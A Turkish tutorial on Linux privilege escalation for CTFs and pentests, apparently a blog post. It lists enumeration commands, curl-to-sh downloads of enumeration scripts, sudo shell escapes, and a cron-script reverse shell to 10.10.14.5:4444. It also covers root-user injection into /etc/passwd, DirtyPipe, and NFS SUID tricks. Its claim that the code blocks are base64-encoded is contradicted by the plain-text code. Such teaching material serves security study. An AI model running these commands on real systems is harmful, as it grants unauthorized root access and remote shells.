CTF ve gerçek dünya senaryolarında Linux'ta yetki yükseltmenin en yaygın vektörlerini, enumeration araçlarını ve sömürü tekniklerini ele aldım.
Bu yazı defansif araştırma amaçlı saldırı pattern örnekleri içerir. Aşağıdaki kod blokları antivirüs yazılımlarının yanlış pozitif tetiklemesini önlemek için base64 ile encode edilmiştir; tarayıcınızda otomatik olarak decode olur. Bu içerikler yalnızca yetkilendirilmiş test ortamlarında ve eğitim amacıyla kullanılmalıdır.
Bir sisteme erişim sağladığınızda genellikle düşük yetkili bir kullanıcı olarak başlarsınız. Privilege escalation (privesc), bu erişimi root veya SYSTEM seviyesine yükseltme sürecidir. CTF'lerde final flag, gerçek pentestlerde ise tam sistem kontrolü burada gizlidir.
Enumeration her şeydir. Çoğu zaman açık gözünüzün önündedir.
# İşletim sistemi ve kernel versiyonu
uname -a
cat /etc/os-release
cat /proc/version
# Çalışan servisler
ps aux
ss -tnlp
# Zamanlanmış görevler
cat /etc/crontab
ls -la /etc/cron.*
crontab -l# Mevcut kullanıcı
id
whoami
# Sudo yetkisi var mı?
sudo -l
# Tüm kullanıcılar
cat /etc/passwd | grep -v nologin
# Grup üyelikleri
groups
cat /etc/group# SUID binary'leri bul
find / -perm -4000 -type f 2>/dev/null
# SGID binary'leri bul
find / -perm -2000 -type f 2>/dev/nullManuel kontrolleri tamamladıktan sonra otomatik araçları çalıştırın:
# LinPEAS — en kapsamlı araçcurl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh# LinEnumwget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.shchmod +x LinEnum.sh && ./LinEnum.sh# linux-smart-enumerationwget https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.shchmod +x lse.sh && ./lse.sh -l 1
# sudo -l çıktısında tehlikeli komutlarsudo find /tmp -exec /bin/bash \;sudo vim -c ':!/bin/bash'sudo awk 'BEGIN {system("/bin/bash")}'sudo python3 -c 'import os; os.system("/bin/bash")'
GTFOBins (gtfobins.github.io) her binary için sömürü yöntemini listeler.
# /etc/crontab içinde root çalıştıran ama yazılabilir script* * * * * root /opt/backup.sh# Eğer backup.sh yazılabilirse:echo "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1" >> /opt/backup.sh
# Örnek: /usr/bin/find SUID ise
find . -exec /bin/sh -p \; -quit
# Örnek: /usr/bin/cp SUID ise — root yetkisiyle /etc/passwd üzerine yaz
# 1. Yerel kopyaya yeni kullanıcı ekle (/tmp herkes için yazılabilir)
cp /etc/passwd /tmp/passwd.new
echo "hacker::0:0:root:/root:/bin/bash" >> /tmp/passwd.new
# 2. SUID cp ile orijinalin üzerine bas (cp root yetkisiyle yazar)
cp /tmp/passwd.new /etc/passwd
su hacker# Kernel versiyonunu öğren
uname -r
# Örnek çıktı: 5.4.0-42-generic
# searchsploit ile exploit ara
searchsploit linux kernel 5.4 privilege escalation
# Popüler: DirtyPipe (CVE-2022-0847) — kernel 5.8–5.16
gcc dirtypipe.c -o dirtypipe
./dirtypipe /etc/passwd 1 ootz::0:0:root:/root:/bin/bash
su ootz# Hedef makinede
cat /etc/exports
# Örnek: /shared *(rw,no_root_squash)
# Saldırgan makinede (root olarak)
mount -t nfs 10.10.10.1:/shared /mnt/nfs
cp /bin/bash /mnt/nfs/rootbash
chmod +s /mnt/nfs/rootbash
# Hedef makinede (export edilen /shared dizini içinde)
/shared/rootbash -p # root shell!# /etc/passwd yazılabilir mi?
ls -la /etc/passwd
# Parola hash'i oluştur (SHA-512 — modern Linux varsayılanı)
openssl passwd -6 -salt hax s3cr3t
# Çıktı: $6$hax$...
# Satırı ekle
echo 'hax:$6$hax$...:0:0:root:/root:/bin/bash' >> /etc/passwd
su hax # parola: s3cr3t| Vektör | Kontrol Komutu | Kaynak |
|---|---|---|
| Sudo | sudo -l | GTFOBins |
| SUID | find / -perm -4000 | GTFOBins |
| Cron | cat /etc/crontab | Manuel analiz |
| Kernel | uname -r | searchsploit |
| NFS | cat /etc/exports | Manuel |
| Yazılabilir passwd | ls -la /etc/passwd | Manuel |
Root olduktan sonra kalıcılık (persistence) sağlamak, pivot yapmak ve izleri temizlemek ayrı bir yazı konusu. Bir sonraki yazıda post-exploitation tekniklerini ele alacağım.